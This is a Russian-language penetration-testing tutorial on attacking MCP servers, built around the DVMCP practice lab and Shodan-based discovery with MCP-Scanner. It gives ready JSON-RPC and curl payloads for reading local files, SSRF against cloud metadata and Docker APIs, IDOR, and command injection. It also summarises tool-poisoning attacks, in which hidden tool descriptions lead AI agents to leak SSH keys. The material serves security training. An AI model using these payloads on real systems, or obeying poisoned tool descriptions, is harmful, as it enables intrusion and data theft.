Pentest
December 9

Методология MCPwn'а


Атаки на MCP-серверы: вводный практический разбор (DVMCP + MCP-Scanner)

Данный материал, представленный в данном материале, предназначен исключительно для:

  • авторизованного тестирования;
  • использования в учебных целях;
  • работы в тестовых средах;
  • применения в инфраструктуре, на которую у пользователя имеется прямое письменное заверенное разрешение.

Важно: применение описанных методик к любым системам, не находящимся в вашем законном распоряжении и не имеющих официального разрешения на проведение тестирования, является противоправным действием. Подобные действия могут повлечь за собой уголовную ответственность в соответствии с действующим законодательством.

Автор материала не несёт ответственности за:

  • несанкционированное использование изложенных методов;
  • противоправные действия, совершённые с применением описанной методологии;
  • любой ущерб, причинённый в результате нелицензионного применения представленных сведений.

Введение

MCP (Model Context Protocol) — открытый протокол поверх HTTP и JSON-RPC, который позволяет LLM-агентам ходить к внешним сервисам и инструментам: файловым системам, базам данных, внутренним API, облакам. По сути, это «универсальный USB-C» для ИИ-приложений: модель остаётся «мозгом», а MCP-серверы становятся руками, которые выполняют реальные действия.

Проблема в том, что MCP начали внедрять быстрее, чем строить модель угроз. Исследование Knostic и проекта ModelContextProtocol-Security показало: в интернете обнаружено 1862 MCP-сервера, доступных через Shodan; все 119 вручную проверенных экземпляров выдавали список инструментов без какой-либо аутентификации.(PRWeb)

Дальше — хуже. Отчёты Kulkan Security и других команд показывают типичные ошибки: отсутствие проверки прав, небезопасные параметры URI, инструменты, запускающие команды ОС без фильтрации, и ресурсы, позволяющие читать файлы с диска.(Medium) По аналогии с классическими REST-API, MCP-серверы оказываются уязвимы к тем же классам атак:

  • SSRF (Server-Side Request Forgery) — проксирование запросов во внутреннюю сеть через resources/read или HTTP-инструменты;
  • LFI / path traversal — чтение локальных файлов через file://-URI;
  • IDOR — доступ к чужим объектам по изменённым идентификаторам в URI;
  • Command injection / RCE — запуск команд через небезопасные инструменты.

Параллельно появляются уже вполне серьёзные инциденты:

  • Tool poisoning. Invariant Labs показали, как «безобидный» инструмент add(a, b) может содержать скрытые инструкции (в тегах вида <IMPORTANT>), заставляющие агента вычитать SSH-ключи и конфиги IDE и отправлять их злоумышленнику.(Reddit)
  • OAuth / клиентские RCE. Veria Labs описали цепочку «злой MCP-сервер → некорректная обработка OAuth → запуск браузера через shell → RCE» в таких инструментах, как Claude Code и Gemini CLI.(Previously on Tech)
  • Локальные dev-инструменты. Oligo Security и другие исследователи показали критическую RCE в Anthropic MCP Inspector (CVE-2025-49596): достаточно, чтобы разработчик открыл страницу с вредоносным JavaScript в браузере — и тот сможет отправить запрос к локальному MCP-proxy на 0.0.0.0:6277 и выполнить команду на машине.(oligo.security)

На этом фоне становится очевидно: MCP — это не магия, а обычный сетевой интерфейс, который нужно тестировать так же жёстко, как REST-API или GraphQL.

В этой первой части мы разберём:

  • как поднять уязвимый стенд на базе Damn Vulnerable MCP Server (DVMCP);
  • как использовать MCP-Scanner для массового сбора MCP-эндпоинтов и их описаний;
  • как вручную, через JSON-RPC и инструменты вроде Burp, проверять базовые уязвимости: SSRF, LFI, IDOR, command injection.

Вторая часть (отдельный материал) будет посвящена сложным цепочкам атак, prompt/tool poisoning и методикам защиты.


Подготовка стенда: Damn Vulnerable MCP Server (DVMCP)

Для практики удобно иметь преднамеренно уязвимый стенд — ровно ту же роль, что OWASP Juice Shop играет для веба. Для MCP эту роль выполняет проект Damn Vulnerable MCP Server (DVMCP). Это набор из 10 MCP-серверов с разными классами уязвимостей (prompt injection, утечка токенов, LFI, RCE, неправильный контроль доступа и т.п.).(SOCRadar® Cyber Intelligence Inc.)

Поднять его просто:

git clone https://github.com/harishsg993010/damn-vulnerable-MCP-server.git
cd damn-vulnerable-MCP-server
docker build -t dvmcp .
docker run -p 9001-9010:9001-9010 dvmcp
  • docker build собирает образ dvmcp;
  • docker run поднимает контейнер с MCP-серверами на портах 9001–9010.

После запуска у вас на localhost будут доступны эндпоинты вида:

  • http://localhost:9001/mcp
  • http://localhost:9002/mcp
  • http://localhost:9010/mcp

Каждый порт — отдельный «челлендж» с определённым типом бага. Автор проекта рекомендует Linux-среду с нормально настроенным Docker: так проще повторять эксперименты и смотреть логи сервера.

К этим MCP-серверам можно подключаться:

  • любым совместимым клиентом (например, MCP Inspector — но помнить про его уязвимости и обновлять до последних версий);(oligo.security)
  • напрямую через HTTP — отправляя JSON-RPC запросы из curl, Burp Repeater, Postman и т.п.

Обзор MCP-Scanner: массовое обнаружение MCP-серверов

Если DVMCP нужен для локальной тренировки, то в реальной работе полезен инструмент, который поможет:

  1. найти MCP-серверы в интернете;
  2. убедиться, что они действительно говорят на MCP;
  3. собрать базовую информацию: список tools/resources/prompts и параметры.

Один из первых публичных инструментов такого рода — MCP-Scanner от Knostic.(GitHub)

Это Python-скрипт, который:

  • использует API Shodan для поиска потенциальных MCP-эндпоинтов (по портам, заголовкам и контенту);
  • пробует выполнить базовый JSON-RPC handshake;
  • для «живых» серверов вытаскивает список инструментов (tools/list) и ресурсов (resources/list);
  • сохраняет результаты в удобных форматах для анализа.

Пример установки и запуска:

git clone https://github.com/knostic/MCP-Scanner.git
cd MCP-Scanner
pip install -r requirements.txt  # либо вручную: pip install shodan requests aiohttp
python mcp_scanner.py --api-key YOUR_SHODAN_API_KEY

По умолчанию сканер:

  • использует встроенные фильтры Shodan;
  • собирает ограниченное количество результатов на фильтр (например, по 50);
  • по каждому кандидату пытается выполнить MCP-инициализацию и получить списки tools/resources.

На выходе создаётся директория вида mcp_scan_results_2025-XX-XX/ со следующими файлами:

  • verified_servers.json — подробная информация по каждому подтверждённому MCP-серверу: URL, успех handhshake, список инструментов, ресурсы, возможные проблемы;
  • verified_servers.csv — то же в табличном виде, удобно грузить в Excel/BI;
  • scan_summary.txt — краткий текстовый отчёт;
  • лог-файл работы (mcp_discovery_*.log), полезен для разбора сбоев и ложных срабатываний.

В своём исследовании Knostic на основе этого сканера и вспомогательных скриптов обнаружили те самые 1862 открытых MCP-сервера и показали, что все проверенные экземпляры были неправильно сконфигурированы (нет авторизации, нет ограничения инструментов, утечки ресурсов).(PRWeb)

Для пентестера MCP-Scanner — это аналог httpx/nuclei для новой поверхности атаки: помогает быстро собрать карту уязвимых серверов и понять, куда тратить время на ручной анализ.


Базовые JSON-RPC запросы к MCP

MCP использует JSON-RPC 2.0, обёрнутый в HTTP (или другой транспорт — SSE, WebSocket, stdio). В простейшем случае мы имеем:

  • HTTP POST на /mcp (или другой endpoint);
  • JSON-тело вида:
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/list",
  "params": { ... }
}

Ниже — несколько типовых запросов, которые нужны для ручного тестирования.

Инициализация сессии (initialize)

curl -X POST http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  --data '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
      "protocolVersion": "2025-06-18",
      "capabilities": { "tools": {}, "resources": {}, "prompts": {} },
      "clientInfo": { "name": "Tester", "version": "1.0" }
    }
  }'

В ответ сервер должен вернуть объект result с информацией о себе (версия, поддерживаемые возможности) и, как правило, заголовок MCP-Session-Id. Этот идентификатор нужно передавать в последующих запросах:

-H "MCP-Session-Id: <ID_из_ответа>"

Если последующие вызовы работают без инициализации или Session-Id, это уже сигнал к проверке авторизации.

Получение списка инструментов (tools/list)

curl -X POST http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  -H "MCP-Session-Id: <ID>" \
  --data '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/list",
    "params": {}
  }'

Сервер вернёт массив доступных инструментов: имя, описание, схема параметров (типы, обязательность, дефолты). Это основная точка входа для поиска опасных полей (cmd, path, uri, url, expression и т.п.).

Чтение ресурса (resources/read)

curl -X POST http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  -H "MCP-Session-Id: <ID>" \
  --data '{
    "jsonrpc": "2.0",
    "id": 3,
    "method": "resources/read",
    "params": {
      "uri": "file:///etc/passwd"
    }
  }'

Здесь мы просим сервер прочитать локальный файл /etc/passwd. Если в реализации нет фильтрации или ограничения допустимых URI, сервер может вернуть содержимое файла — это классическая LFI/path traversal, о которой уже предупреждают авторы спецификации и практических гайдов по MCP.(SOCRadar® Cyber Intelligence Inc.)

Те же запросы удобно отправлять через Burp Repeater:

  • в заголовках — Content-Type: application/json и MCP-Session-Id;
  • в теле — JSON-RPC, как в примерах выше.

Ручное тестирование MCP-серверов: основные уязвимости

1. IDOR (Insecure Direct Object Reference)

MCP-ресурсы часто адресуются по URI с идентификатором:

  • resource://user/1234/data
  • resource://project/5678/config
  • resource://tenant/acme/invoices/2024

Если сервер не проверяет, соответствует ли запрашиваемый объект текущему пользователю/контексту, атакующий может заменить ID и получить доступ к чужим данным.

Методика:

  1. Находим ресурсы с явными ID (через resources/list или документацию).
  2. Отправляем resources/read с изменённым идентификатором: { "jsonrpc": "2.0", "id": 10, "method": "resources/read", "params": { "uri": "resource://user/5678/data" } }
  3. Сравниваем результат:
    • если приходит ошибка «access denied» — всё хорошо;
    • если данные отличаются, а авторизация не учитывает ID — это IDOR.

Такой же приём работает для инструментов (tools/call), которые принимают ID в параметрах.


2. SSRF (Server-Side Request Forgery)

Если ресурсы или инструменты позволяют читать произвольные URL, MCP-сервер превращается в прокси во внутреннюю сеть. Это критично, когда MCP расположен внутри корпоративного контура или за mTLS-шлюзами: запрос идёт из доверенной зоны.

Примеры:

{
  "jsonrpc": "2.0",
  "id": 20,
  "method": "resources/read",
  "params": {
    "uri": "http://169.254.169.254/latest/meta-data/"
  }
}
  • Классика облачных атак: запрос к AWS Instance Metadata Service (IMDS).(tl;dr sec)
{
  "jsonrpc": "2.0",
  "id": 21,
  "method": "resources/read",
  "params": {
    "uri": "http://127.0.0.1:2375/containers/json"
  }
}
  • Попытка достучаться до локального Docker-daemon API (2375/tcp), если он открыт без TLS/аутентификации.

Если MCP-сервер находится за mTLS-шлюзом и использует клиентский сертификат для доступа к внутренним API, а вы можете управлять URI — вы, по сути, «садитесь» на уровень доверия этого сервиса. mTLS не ломается криптографически, но становится бессильным против легитимного запроса изнутри, сгенерированного через SSRF.

Признаки:

  • в ответе видно содержимое внутренних API/метаданных;
  • сервер отвечает отличающимися по структуре ошибками (утечка фрагментов HTML/JSON с внутренних сервисов).

3. LFI / Path Traversal

LFI для MCP — это частный случай опасной работы с file://-URI или путями.

Типовой payload:

{
  "jsonrpc": "2.0",
  "id": 30,
  "method": "resources/read",
  "params": {
    "uri": "file:///etc/passwd"
  }
}

или:

{
  "jsonrpc": "2.0",
  "id": 31,
  "method": "resources/read",
  "params": {
    "uri": "file://C:/Windows/win.ini"
  }
}

Проверяем:

  • чтение «невинных» файлов (/etc/hostname, win.ini);
  • попытки traversal: file:///../../../../etc/passwd, специальные символы (..%2f..%2f).

Если сервер возвращает содержимое системных файлов, конфигов БД, kubeconfig, SSH-ключей и т.п. — это LFI с высоким риском.


4. Command Injection / RCE

По исследованиям Palo Alto, SOC Radar и других команд, значительная часть ошибок в MCP связана с небезопасными инструментами: они вызывают оболочку, интерпретатор или системные утилиты напрямую, подставляя аргументы из параметров запроса.(AIMultiple)

Что искать:

  • инструменты с именами или описанием: execute_command, run_shell, evaluate_expression, system, bash, powershell и т.п.;
  • параметры cmd, command, expression, script, path.

Пример вызова (псевдо):

{
  "jsonrpc": "2.0",
  "id": 40,
  "method": "tools/call",
  "params": {
    "name": "evaluate_expression",
    "arguments": {
      "expression": "; ls /"
    }
  }
}

или более мягкий вариант (где ожидается арифметическая строка):

{
  "jsonrpc": "2.0",
  "id": 41,
  "method": "tools/call",
  "params": {
    "name": "evaluate_expression",
    "arguments": {
      "expression": "__import__('os').system('id')"
    }
  }
}

Смотрим:

  • появляется ли в ответе вывод команды;
  • меняется ли состояние сервера (создан файл, в логах новые строки и т.п.).

На DVMCP есть челленджи с ровно такой логикой: вместо безопасной обработки выражений используется прямой вызов eval() или командной оболочки — это даёт возможность привести пример RCE «в учебных условиях», не трогая боевые системы.


5. CORS, браузер и «тихий» доступ к MCP

Отдельный класс проблем — когда MCP-эндпоинт доступен из браузера:

  • заголовки Access-Control-Allow-Origin: * или доверие ко всем доменам;
  • отсутствие CSRF-защиты;
  • экспонирование MCP Inspector / прокси на 0.0.0.0 без токена.

Исследования Oligo Security и Qubit показали, что комбинация некорректных CORS/Origin-проверок, DNS rebinding и отсутствия аутентификации в MCP-прокси позволяет:

  1. заманить разработчика на страницу с вредоносным JavaScript;
  2. из браузера отправить запрос на http://0.0.0.0:6277/sse?...&command=<payload>;
  3. выполнить произвольную команду на машине жертвы, хотя сервис «вроде бы» слушает только localhost.(oligo.security)

При тестировании:

  • смотрим CORS-заголовки в ответах MCP;
  • проверяем, не доступны ли dev-инструменты (inspector/proxy) снаружи;
  • отрабатываем сценарий «страница из интернета → запрос на localhost».

Пример короткого отчёта по LFI на DVMCP

Цель: проверить, может ли MCP-сервер читать произвольные файлы.

Шаги:

Инициализируем сессию:

curl -X POST \
  http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  --data '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
      "protocolVersion": "2025-06-18",
      "capabilities": {},
      "clientInfo": {
        "name": "Tester",
        "version": "1.0"
      }
    }
  }'
 

В ответе получаем MCP-Session-Id.

Отправляем запрос на чтение /etc/passwd:

curl -X POST \
  http://localhost:9001/mcp \
  -H "Content-Type: application/json" \
  -H "MCP-Session-Id: <ID>" \
  --data '{
    "jsonrpc": "2.0",
    "id": 10,
    "method": "resources/read",
    "params": {
      "uri": "file:///etc/passwd"
    }
  }'

В поле result ответа видим содержимое /etc/passwd: список пользователей, их UID, домашние директории.

Вывод: сервер не ограничивает допустимые file://-URI и позволяет читать произвольные файлы. Уязвимость: LFI/path traversal. Риск: утечка конфигурации, пользователей, потенциально — секретов (ключей, паролей).


Чек-лист пентестера MCP (часть 1: базовый срез)

1. Поиск MCP-эндпоинтов

  • Сканирование внешки: nmap, httpx, Shodan/Censys/Zoomeye.
  • Признаки MCP:
    • ответы с {"jsonrpc": "2.0", ...};
    • заголовок MCP-Session-Id в ответах;
    • пути /mcp, /sse, /mcp-server, /api/mcp/*.

2. Инициализация и авторизация

  • Отправить initialize и сохранить MCP-Session-Id.
  • Проверить поведение:
    • работают ли запросы без initialize?
    • работают ли запросы без MCP-Session-Id или с поддельным значением?
  • Любой доступ к чувствительным операциям без корректной сессии — баг авторизации.

3. Перечисление функционала

  • Вызвать tools/list, resources/list, prompts/list.
  • Зафиксировать:
    • инструменты с опасными параметрами (cmd, url, path, expression);
    • ресурсы с URI вида file://, http://, s3://, resource://user/{id}.

4. SSRF / LFI

  • Для всех полей, похожих на URI/URL:
    • пробуем http://169.254.169.254/..., http://127.0.0.1:... (аккуратно, без DoS);
    • пробуем file:///etc/passwd, file://C:/Windows/win.ini, traversal-варианты.
  • Фиксируем случаи, когда содержимое реально читается или меняется тип ошибки.

5. Command Injection / RCE

  • Ищем инструменты, вызывающие внешние команды.
  • Пробуем минимальные payload’ы:
    • ; id, && whoami, | uname -a;
    • в «вычислителях» — злоупотребление eval() или интерпретатором (__import__('os')...).
  • Смотрим на вывод и побочные эффекты.

6. IDOR и доступ к чужим данным

  • Меняем ID в URI/параметрах на заведомо «чужие».
  • Проверяем, возвращается ли другой объект без ошибок доступа.

7. CORS / браузер

  • Анализируем заголовки:
    • Access-Control-Allow-Origin, Access-Control-Allow-Credentials;
  • Ищем dev-панели/инспекторы, работающие через браузер.
  • Оцениваем риск XSS/CSRF-цепочек по аналогии с кейсом MCP Inspector.

8. Отчётность

  • Для каждой находки:
    • сохраняем сырой запрос (curl / HTTP-дамп);
    • сохраняем ответ (обрезая чувствительные данные, если это боевой стенд);
    • формулируем риск и потенциальный импакт (что можно сделать в реальной среде).

Заключение и материалы для чтения

MCP-сервер — это просто ещё один сетевой интерфейс между вашим приложением и внутренними ресурсами. Он даёт огромную гибкость ИИ-агентам, но одновременно открывает новые варианты старых атак: SSRF, LFI, RCE, утечку токенов и конфигов. Исследования Knostic, Kulkan Security, Invariant Labs, Veria Labs, Oligo Security и других команд уже показывают, что:

  • сотни и тысячи MCP-серверов доступны в интернете без аутентификации;(PRWeb)
  • ошибки в OAuth/CORS и dev-инструментах легко приводят к RCE на машинах разработчиков;(oligo.security)
  • tool/prompt/schema poisoning позволяет незаметно вытащить ключи, конфиги и чувствительные документы из среды разработчика и из продакшена.(Reddit)

В этой первой части мы сосредоточились на базовых вещах: как поднять DVMCP, как использовать MCP-Scanner для разведки, как руками проверять SSRF/LFI/IDOR/RCE.

Во второй части логично перейти к более сложным сюжетам:

  • tool/prompt/full-schema poisoning;
  • цепочки атак через IDE и dev-инструменты;
  • методики hardening и интеграция сканеров/политик (включая платформы уровня Tencent AI-Infra-Guard) в SDLC.

Для самостоятельного углубления сейчас стоит посмотреть:

  • Knostic / ModelContextProtocol-Security: обзор открытых MCP-серверов и статистика по аутентификации.(PRWeb)
  • Kulkan Security — “Assessing the Attack Surface of Remote MCP Servers”.(Medium)
  • Invariant Labs — “MCP Security Notification: Tool Poisoning Attacks”.(Reddit)
  • Veria Labs — “From MCP to Shell: How MCP Authentication Flaws Enable RCE in Claude Code, Gemini CLI, and More”.(Previously on Tech)
  • Oligo Security / Qubit — материалы по RCE в Anthropic MCP Inspector (CVE-2025-49596, CVE-2025-58444).(oligo.security)

Этого достаточно, чтобы не относиться к MCP как к «чёрному ящику с ИИ-магией», а видеть в нём то, чем он реально является: мощный, но крайне чувствительный интерфейс между моделью и вашей инфраструктурой. Именно такие вещи исторически и ломают чаще всего.

Лев Прокопьев, эксперт по наступательной кибербезопасности Материал подготовлен специально для сообщества AD_POHEQUE

👾